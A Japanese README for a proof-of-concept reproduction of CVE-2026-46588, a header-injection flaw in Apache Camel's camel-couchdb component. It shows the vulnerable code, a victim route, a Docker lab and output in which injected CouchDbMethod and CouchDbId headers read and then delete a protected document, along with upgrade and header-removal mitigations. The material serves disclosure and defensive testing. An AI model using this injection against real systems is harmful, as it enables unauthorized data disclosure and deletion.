
CVE-2026-46588 の再現コード: Apache Camel camel-couchdb の CouchDb* ヘッダーインジェクション(オペレーション混同)により、書き込み専用エンドポイントを任意のドキュメントの読み取り+削除に転用する(4.14.8/4.18.3/4.21.0 で修正済み)
CouchDb* ヘッダーインジェクション再現コード (CVE-2026-46588)このプロジェクトは、Apache Camel の camel-couchdb コンポーネントにおける メッセージヘッダーインジェクション を実証するもので、CVE-2026-46588 として追跡されています。このコンポーネントは動作を制御するために複数の Exchange ヘッダー — CouchDbDatabase、CouchDbSeq、CouchDbId(ドキュメントID)、CouchDbRev(ドキュメントリビジョン)、CouchDbMethod(操作メソッド)— を読み取ります。これらのヘッダー定数(CouchDbConstants で定義)の文字列値は、他のすべてのコンポーネントが使用する標準の Camel プレフィックスではなく CouchDb プレフィックスを使用しています。Camel のインバウンド HttpHeaderFilterStrategy は Camel / camel で始まるヘッダー名のみをブロックするため、これらの名前はインバウンドフィルターをそのまま通過します。ルートが couchdb プロデューサーの前に HTTP エントリポイント(例: platform-http)を公開している場合、信頼できない HTTP クライアントがこれらのヘッダーを直接設定し、ルート作成者が意図した操作を上書き できます。
この PoC は、その影響を 操作の混乱(operation confusion) として示します。CouchDbMethod(および CouchDbId)を注入することで、書き込み専用 のドキュメント取り込みエンドポイントが、任意のドキュメントの読み取り、さらに削除へと変えられます。
CouchDbMethod=GET + CouchDbId=<secret> → 情報漏えい(エンドポイントが公開することのないドキュメントを読み取り、その _rev を漏えいさせます)。CouchDbMethod=DELETE(漏えいした _rev を使用)→ 破壊(そのドキュメントを削除します)。アドバイザリ: https://camel.apache.org/security/CVE-2026-46588.html
| プロパティ | 値 |
|---|---|
| コンポーネント | camel-couchdb |
| 影響を受けるクラス | org.apache.camel.component.couchdb.CouchDbProducer が CouchDbConstants.HEADER_METHOD("CouchDbMethod")、HEADER_DOC_ID("CouchDbId")などを読み取る |
| CWE | CWE-20: 不適切な入力検証 |
| 影響 | HTTP クライアントが CouchDb* ヘッダーを設定 → 操作 / ドキュメントの上書き → 情報漏えい、削除、改ざん |
| 前提条件 | ルートが HTTP コンシューマー(例: platform-http)の背後で couchdb プロデューサーを公開していること。コンシューマーが未認証の場合は認証なしで攻撃可能 |
| 影響を受けるバージョン | 4.0.0 以上 4.14.8 未満、4.15.0 以上 4.18.3 未満、4.19.0 以上 4.21.0 未満 |
| 修正バージョン | 4.14.8、4.18.3、4.21.0 |
| 修正 | PR apache/camel#23228(main)、#23230(4.18.x)/ #23231(4.14.x)でバックポート |
| 謝辞 | Yu Bao (PayPal) |
CVE-2025-27636、CVE-2026-40453、CVE-2026-46453、CVE-2026-47323 と同じヘッダーインジェクション系統に属します。この修正は、姉妹アドバイザリ CVE-2026-46587(camel-couchbase)と PR を共有しています。
// CouchDbConstants (affected 4.18.2) — the header names carry the CouchDb prefix, not Camel:
String HEADER_METHOD = "CouchDbMethod";
String HEADER_DOC_ID = "CouchDbId";
// CouchDbProducer.process (affected 4.18.2) — the operation is chosen from the header:
String operation = exchange.getIn().getHeader(CouchDbConstants.HEADER_METHOD, String.class);
if (ObjectHelper.isEmpty(operation)) {
saveJsonElement(json); // default: save the body
} else if (operation.equalsIgnoreCase("DELETE")) {
deleteJsonElement(json); // delete by the body's _id/_rev
} else if (operation.equalsIgnoreCase("GET")) {
String docId = exchange.getIn().getHeader(CouchDbConstants.HEADER_DOC_ID, String.class);
exchange.getIn().setBody(getElement(docId)); // read an arbitrary document
}
修正(4.14.8 / 4.18.3 / 4.21.0)では、ヘッダーの 値 が Camel の慣例に合わせて変更されます — CouchDbMethod → CamelCouchDbMethod、CouchDbId → CamelCouchDbId、CouchDbRev → CamelCouchDbRev、CouchDbDatabase → CamelCouchDbDatabase、CouchDbSeq → CamelCouchDbSeq — これにより、他のすべての Camel 制御ヘッダーと同様に、インバウンドの HttpHeaderFilterStrategy によってブロックされます。Java の定数フィールド名は変更されません。
from("platform-http:/ingest")
.removeHeaders("Camel*") // documented hardening — see below
.convertBodyTo(String.class)
.to("couchdb:http://<host>:5984/cameldb?username=..&password=..&createDatabase=true");
ルート作成者の意図は 書き込み専用 の取り込みエンドポイントです — クライアントは保存するドキュメントを POST するだけで、それ以外は何も行いません。文書化された堅牢化策として、ルートはエッジで Camel 制御ヘッダーの名前空間を除去します。しかし、それは役に立ちません: 操作ヘッダーは CamelCouchDbMethod ではなく CouchDbMethod という名前のため、removeHeaders("Camel*") でも組み込みの HTTP ヘッダーフィルターでも除去されません — そしてプロデューサーはそれに基づいて操作を切り替えます。
被害者 は Camel の取り込みルートとその CouchDB データベースです。攻撃者 はリクエストヘッダーを設定するだけの未認証 HTTP クライアントです。小さな REST ハーネス が、脆弱なルートとは独立に、検証用のシークレットドキュメントの投入と読み取りを行います。
CVE-2026-46588/
├── pom.xml # camel-platform-http + camel-couchdb 4.18.2 (gson pinned to 2.13.2, see note)
├── Dockerfile
├── docker-compose.yml # couchdb 3.3 + the app
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── CouchDbSettings.java # host / db / creds / secret document id + marker
│ ├── CouchDbHarness.java # REST harness: waits for CouchDB, seeds + reads the secret doc
│ ├── VictimRoute.java # platform-http:/ingest -> couchdb producer (write-only intent)
│ └── ExploitController.java # attacker: POST /ingest with injected CouchDbMethod / CouchDbId headers
└── resources/
└── application.properties
注: pom は
gson.version=2.13.2(Camel が同梱するバージョン)に固定しています。そうしないと Spring Boot 3.2.0 が古い gson 2.10.1 に固定してしまい、これにはcom.google.gson.internal.GsonTypesが含まれていないため、同梱の Cloudant SDK が実行時にNoClassDefFoundErrorをスローします。
mvn clean package -DskipTests
docker compose up -d --build
# wait for the app log line "Started Application", then:
curl -s http://localhost:8080/exploit/attack
docker compose down -v
secret document in CouchDB (read straight from the database):
{"_id":"admin-secret","_rev":"...","secret":"confidential salary and bonus figures","marker":"FLAG{couchdb_method_injection_CVE_2026_46588}"}
=== 1) Legitimate ingest (no CouchDb* headers) — a new document is saved ===
{"note":"benign user submission"}
=== 2) Injected CouchDbMethod=GET + CouchDbId=admin-secret — reads a protected document ===
{ "_id": "admin-secret", "_rev": "...", "marker": "FLAG{couchdb_method_injection_CVE_2026_46588}", ... }
disclosure: true
=== 3) Injected CouchDbMethod=DELETE (with the leaked _rev) — deletes the protected document ===
secret document now: <not found>
destruction: true
>>> Operation-confusion / header-injection proof — an unauthenticated client turned a write-only
>>> ingest endpoint into read (true) and delete (true) of an arbitrary document, via the CouchDbMethod / CouchDbId headers.
HTTP コンシューマーから到達可能な couchdb プロデューサーを持つ任意のルートが対象です。注入可能なヘッダー: CouchDbMethod(保存 → 取得 / 削除の切り替え)、CouchDbId(取得対象のドキュメント)、削除にはボディの _id / _rev も使用されます。コンシューマー側では CouchDbDatabase と CouchDbSeq が追加されます。
4.14.8 / 4.18.3 / 4.21.0 にアップグレードしてください(アドバイザリ PR #23228)。修正後、制御ヘッダーは Camel プレフィックス(CamelCouchDbMethod、CamelCouchDbId、…)を持ち、他のすべての制御ヘッダーと同様に HTTP 境界でフィルタリングされます。
アップグレードするまでは、プロデューサーに到達する前に、信頼できないインバウンドメッセージから影響を受けるヘッダーを除去してください。例: couchdb エンドポイントの前で .removeHeader("CouchDbDatabase")、.removeHeader("CouchDbId")、.removeHeader("CouchDbRev")、.removeHeader("CouchDbSeq")、.removeHeader("CouchDbMethod") を実行するか、これらの名前をブロックするカスタム HeaderFilterStrategy を適用してください。
この再現コードは、公開され修正済みの 脆弱性に対する セキュリティ研究および許可されたテスト専用 として提供されます。明示的な許可なくシステムに対して使用しないでください。